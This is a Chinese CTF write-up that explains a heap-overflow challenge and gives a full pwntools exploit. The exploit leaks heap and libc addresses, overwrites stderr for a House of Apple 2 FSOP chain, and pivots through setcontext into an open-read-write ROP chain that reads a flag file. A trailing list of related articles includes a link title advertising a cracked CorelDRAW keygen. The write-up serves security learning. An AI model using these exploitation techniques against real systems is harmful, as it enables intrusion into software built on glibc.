但感觉有edit任意长度溢出就行了,但add edit delete show都会对索引对应的chunk_array检查是否不为零
add会对输入的数据首先进行base32解码,然后protobuf反序列化,然后对前四个字段进行base64解码

  1. 可以直接从free掉的chunk得到从而利用残留的,bookstruct在的结构体size为0x40,然后剩余四个chunk是0x20
    刚开始就存在巨多chunk, 泄露堆地址,申请两次,第7个0x20的chunk的fd部分仅仅是next部分所在的地址右移12位置,然后可以通过tcachebin泄露heap地址
    在这里插入图片描述
    申请第八个0x20的chunk会导致其到fastbin寻找,然后找到后会将fastbin的chunk放到tcache中

  2. 然后泄露libc基地址,虽然有很多无用的已经free掉的chunk干扰,但我们可以使得要构造的堆布局的大小不符合已经free的chunk就行,至于一些不会用到的堆布局的堆,我们让他依然来自bin就行了
    在这里插入图片描述
    在这里插入图片描述
    我们要使得分配到一个非tcache大小的chunk,然后不是来自bin中的,然后free后能够进入unsortedbin,再通过溢出填充然后能够泄露,接下来分配book_struct不会来自bin中,由于是通过内容溢出,所以内容的chunk也要不来自bin,连着两个就可以实现第一个的内容溢出到第二个的内容

  3. 实现任意地址写,覆盖写一个book_struct结构的某个字段地址为sderr,然后可以写stderr的内容 ,依然是需要一个book_struct结构chunk和一个内容chunk和下一个book_struct

在这里插入图片描述
由于0x40会从free中的chunk分裂,所以得把他们全部消掉才行(保证没有大于0x40的就行),从smallbin消掉,然后此时再分配的会从之前free的0x500chunk分裂开,这样也可以溢出到修改book_struct写入stderr从而修改stderr

  1. house of apple 2 +setcontext+orw读取flag,由于最后执行篡改后的vtable中的函数时rdi是stderr,而rdx是wide_data,构造wide_data+0xa0为wide_data上rop链部分的位置,wide_data+0xa8为ret

这里还需要write_ptr不为零好像
在这里插入图片描述

.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
    ....
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

在这里插入图片描述

exp

from pwn import *
import base64
import bookProto_pb2
context(arch="amd64",os="linux")
p=process("./pwn")
libc=ELF("./libc.so.6")
def prepare(title,author,isbn,publish_date,price,stock):
    book=bookProto_pb2.CTFBook()
    book.title=base64.b64encode(title)
    book.author=base64.b64encode(author)
    book.isbn=base64.b64encode(isbn)
    book.publish_date=base64.b64encode(publish_date)
    book.price=price
    book.stock=stock
    pack=book.SerializeToString()
    return pack

def buy(idx,title,author,isbn,publish_date,price,stock):
    p.sendlineafter(b"Enter your choice > ",b"1")
    p.sendlineafter(b"Index: ",str(idx))
    p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))
    

def see(idx):
    p.sendlineafter(b"Enter your choice > ",b"2")
    p.sendlineafter(b"Index: ",str(idx))

def dele(idx):
    p.sendlineafter(b"Enter your choice > ",b"3")
    p.sendlineafter(b"Index: ",str(idx))

def edit(idx,title,author,isbn,publish_date,price,stock):
    p.sendlineafter(b"Enter your choice > ",b"4")
    p.sendlineafter(b"Index: ",str(idx))
    p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))


buy(0,b"00000001",b"00000002",b"00000003",b"00000004",1.1,1)
buy(1,b'11111111',b'11111112',b'',b'11111114',1,1)
# 第1个book_struct 的第三个字段是fastbin中0x20大小最后一个chunk,此时泄漏fd,可以得到heap地址
see(1)
p.recvuntil(b'ISBN: ')
heap=u64(p.recv(5).ljust(8,b"\x00"))
heap=heap<<12
print("heap",hex(heap))

buy(2,b"2"*0x20,b"",b"",b"",1,1)
buy(3,b"3"*0x4f0,b"",b"",b"",1,1)
# largechunk会触发合并fastbin合并到unsortedbin,然后再到unsortedbin寻找的过程中分配到smallbin

buy(4,b"4"*0x200,b"",b"",b"",1,1)#防止free3和topchunk合并,由于此时0x20和0x40的堆在bin中已经有了,我们需要找个不来自bin的才行,并且也不能是被分割的
dele(3) 
edit(2,b"2"*0x70,b"",b"",b"",1,1)
see(2)
p.recvuntil(b'2'*0x70)
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x21ace0
print("libc",hex(libc.address))   
edit(2,b"2"*0x20+p64(0)+p64(0x41)+b"3"*0x30+p64(0)+p64(0x501),b"",b"",b"",1,1) #恢复原来被覆盖的部分



buy(5,b"5"*0x50,b"5"*0x50,b"5"*0x50,b"5"*0xd0,1,1)
buy(6,b"5"*0x150,b"5"*0x150,b"5"*0x150,b"5"*0x160,1,1)
buy(7,b"5"*0x30,b"5"*0x10,b"5"*0x10,b"5"*0x10,1,1)

rdi=0x2a3e5+libc.address
rsi=libc.address+0x2be51
rdx_r12=libc.address+0x11f2e7
syscall=libc.address+0x1147e0
rax=libc.address+0x45eb0
ret=libc.address+0x29139
ret=libc.address+0x29139
wide_data_chunk=heap+0x1ed0
stderr=libc.address+0x21b6a0
_IO_wfile_jumps=libc.address+0x2170c0
vatabl=heap+0x1ed0+0xe8 
#+0x68

wide_data=b"\x00"
wide_data=wide_data.ljust(0x18,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0x30,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0xa0,b"\x00")
wide_data+=p64(wide_data_chunk+0x210)+p64(ret)

wide_data=wide_data.ljust(0xe0,b"\x00")
wide_data+=p64(vatabl)
wide_data=wide_data.ljust(0x150,b"\x00")
wide_data+=p64(libc.address+0x53a1d) #setcontext
wide_data=wide_data.ljust(0x200,b"\x00")

wide_data+=b'./flag\x00\x00'+p64(0)+p64(rdi)+p64(wide_data_chunk+0x200)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
wide_data+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(0)+p64(syscall)
wide_data+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(1)+p64(syscall)+p64(rdi)+p64(0)+p64(rax)+p64(0x3c)+p64(syscall)

wide_data=wide_data.ljust(0x500,b"\x00") #使得大小能分配一个不是从bin中来的


buy(8,wide_data,b"",b"",b"",1,1) #分裂largechunk


print("stderr",hex(stderr))
edit(2,b"2"*0x70+p64(stderr),b"",b"",b"",1,1) #写入stderr

fake_stderr=p64((~(0x2|0x8|0x800))&0xffffffffffffffff)+p64(0)+p64(0)*3+p64(1) #writeptr
fake_stderr=fake_stderr.ljust(0xa0,b"\x00")
fake_stderr+=p64(wide_data_chunk)
fake_stderr=fake_stderr.ljust(0xd8,b"\x00")
fake_stderr+=p64(_IO_wfile_jumps)
edit(8,fake_stderr,b"",b"",b"",1,1)



gdb.attach(p)
pause()
p.sendlineafter(b'Enter your choice > ',b'6')

p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/689362.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

html--圣诞树

将以下代码保存到txt文件中&#xff0c;并改名为xx.html <html> <head> <title>圣诞树</title> <meta charset"utf-8" > <style> html, body { width: 100%; height: 100%; margin: 0; padding: 0; border: 0; } div { margin: …

Windows 找不到文件‘shell:sendto‘。请确定文件名是否正确后,再试一次

执行“shell:sendto”命令的时候&#xff0c;报错&#xff1a;Windows 找不到文件’shell:sendto’。请确定文件名是否正确后&#xff0c;再试一次 解决办法&#xff1a; 在桌面新建一个记事本文件命名为fix.reg&#xff0c;注意后缀是reg&#xff0c;文件中填写以下内容&…

常见机器学习概念

信息熵 信息熵&#xff08;information entropy&#xff09;是信息论的基本概念。描述信息源各可能事件发生的不确定性。20世纪40年代&#xff0c;香农&#xff08;C.E.Shannon&#xff09;借鉴了热力学的概念&#xff0c;把信息中排除了冗余后的平均信息量称为“信息熵”&…

课时149:项目发布_基础知识_项目交付

1.1.1 项目交付 学习目标 这一节&#xff0c;我们从 基础知识、代码发布、小结 三个方面来学习 基础知识 简介 项目交付是一个涉及到多团队共同协作的事情&#xff0c;它包括 产品团队设计产品、研发团队开发产品、测试团队测试代码、运维团队发布代码和维护站点等工作。项…

Bev 车道标注方案及复杂车道线解决

文章目录 1. 数据采集方案1.1 传感器方案1.2 数据同步2. 标注方案2.1 标注注意项2.2 4d 标注(时序)2.2.1 4d标签制作2.2.2 时序融合的作用2.2.2.1 时序融合方式2.2.2.2 时序融合难点2.2.2.2 时序实际应用情况3. 复杂车道线解决3.1 split 和merge车道线的解决3.2 大曲率或U形车道…

56.WEB渗透测试-信息收集- 端口、目录扫描、源码泄露(4)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;55.WEB渗透测试-信息收集- 端口、目录扫描、源码泄露&#xff08;3&#xff09; 如果把文…

数据挖掘--数据仓库与联机分析处理

什么是数据仓库 &#xff08;面集时非&#xff09; 面向主题的&#xff1a;围绕某一主题来构建集成的&#xff1a;图片文字杂糅在一起时变的&#xff1a;随时间变化的数据非易失的&#xff1a;硬盘存放&#xff0c;不易丢失 操作数据库系统&#xff08;OLTP)与数据仓库(OLAP…

原力、百度、人人文档下载工具

只可下载可预览的文档&#xff0c;格式为pdf&#xff0c;不能完全保证下载成功&#xff0c;X度与我们既是对手也是朋友。 本文的软件来自的大神&#xff0c;仅供学习交流&#xff0c;不可做它用。 向的大神致敬&#xff01;&#xff01;&#xff01;

C语言 | Leetcode C语言题解之第137题只出现一次的数字II

题目&#xff1a; 题解&#xff1a; int singleNumber(int *nums, int numsSize) {int a 0, b 0;for (int i 0; i < numsSize; i) {b ~a & (b ^ nums[i]);a ~b & (a ^ nums[i]);}return b; }

【CS.CN】深入解析HTTP中的Expect: 100-continue头:性能优化的利器还是鸡肋?

目录 0 序言 0.1 由来0.2 使用场景0.3 现在还需要吗&#xff1f; 1 Expect: 100-continue的机制2 语法 && 通过重新设置空的Expect头优化性能3 实例分析&#xff1a;长连接中的Expect问题解决4 总结 0 序言 0.1 由来 Expect: 100-continue头部字段最早在HTTP/1.1规…

Matplotlib常见图汇总

Matplotlib是python的一个画图库&#xff0c;便于数据可视化。 安装命令 pip install matplotlib 常用命令&#xff1a; 绘制直线&#xff0c;连接两个点 import matplotlib.pyplot as plt plt.plot([0,5],[2,4]) plt.show() 运行结果如下&#xff1a; 多条线&#xff1a;…

calibre,一个超厉害的 Python 库!

更多Python学习内容&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个超厉害的 Python 库 - calibre。 Github地址&#xff1a;https://github.com/kovidgoyal/calibre 电子书籍已经成为现代阅读的重要形式&#xff0c;而管理和转换电子书籍格式的需求也随之增加…

Linux系统信息的查看

目录 前言一、系统环境二、查看系统IP地址信息2.1 ifconfig命令2.2 ip address命令 三、查看系统端口信息3.1 nmap命令3.2 netstat命令 四、查看系统进程信息4.1 ps命令4.2 kill命令 五、查看系统监控信息5.1 top命令5.2 df命令iostat命令5.3 sar命令 总结 前言 本篇文章介绍查…

控制台输入javac命令输出的结果中的中文乱码解决方式

默认字符编码UTF-8无法解析中文。设置环境变量中 “JAVA_TOOL_OPTIONS” 的值为"UTF-8" 即可。 具体配置步骤&#xff1a; 桌面右键"我的电脑" --> 属性 高级系统设置 环境变量 用户变量中添加 JAVA_TOOL_OPTIONS 然后确定&#xff0c;保存即可。

Locust:用Python编写可扩展的负载测试

Locust&#xff1a;简化性能测试&#xff0c;让负载模拟更直观- 精选真开源&#xff0c;释放新价值。 概览 Locust是一个开源的性能和负载测试工具&#xff0c;专门用于HTTP和其他协议的测试。它采用开发者友好的方法&#xff0c;允许用户使用普通的Python代码来定义测试场景。…

docker 命令 ps,inspect,top,logs详解

docker常用命令教程-4 docker ps docker ps 命令用于列出当前正在运行的容器。默认情况下&#xff0c;它只显示正在运行的容器&#xff0c;但你可以使用 -a 或 --all 选项来显示所有容器&#xff08;包括已停止的容器&#xff09;。 常用的选项和示例&#xff1a; -a 或 --…

CW32F030K8T7单片机在即热式热水器的应用介绍

随着智能家居技术的不断进步&#xff0c;即热式热水器作为现代家庭中的重要组成部分&#xff0c;正逐渐向智能化、节能化方向发展。本方案通过采用武汉芯源半导体的CW32F030系列单片机&#xff0c;以其高性能、超强抗干扰等特性&#xff0c;为即热式热水器的智能化提供了理想的…

(UE4.26)UE4的FArchive序列化入门

前言 序列化(Serialize)和反序列化(UnSerialize)是程序领域常见的概念。对于这两个词汇我理解的是 序列化(Serialize): 变量值(int, float, string等基本类型, 或者Array&#xff0c;Map&#xff0c;或者更复杂的复合体)存储为一个文件(二进制流, 二进制文件, json, xml等格式…

CorelDRAW2024最新crack+keygen安装包下载

在数字艺术的浪潮下&#xff0c;设计师对于设计工具的需求也愈发严苛&#xff0c;他们希望有一款能够提供强大功能和灵活操作的软件来帮助他们实现更专业、更具创新力的设计。近日发布的CorelDRAW 2024正是这样一款能够满足设计师需求的专业图形设计软件。 「CorelDRAW汉化版下…

汽车EDI——Volvo EDI 项目案例

项目背景 作为Volvo的长期合作伙伴&#xff0c;C公司收到Volvo的EDI对接邀请&#xff0c;需要实现EDI对接。C公司将会面临哪些挑战&#xff1f;又应该相应地选择何种EDI解决方案呢&#xff1f; 汽车行业强调供需双方的高效协同&#xff08;比如研发设计、生产计划、物流信息等…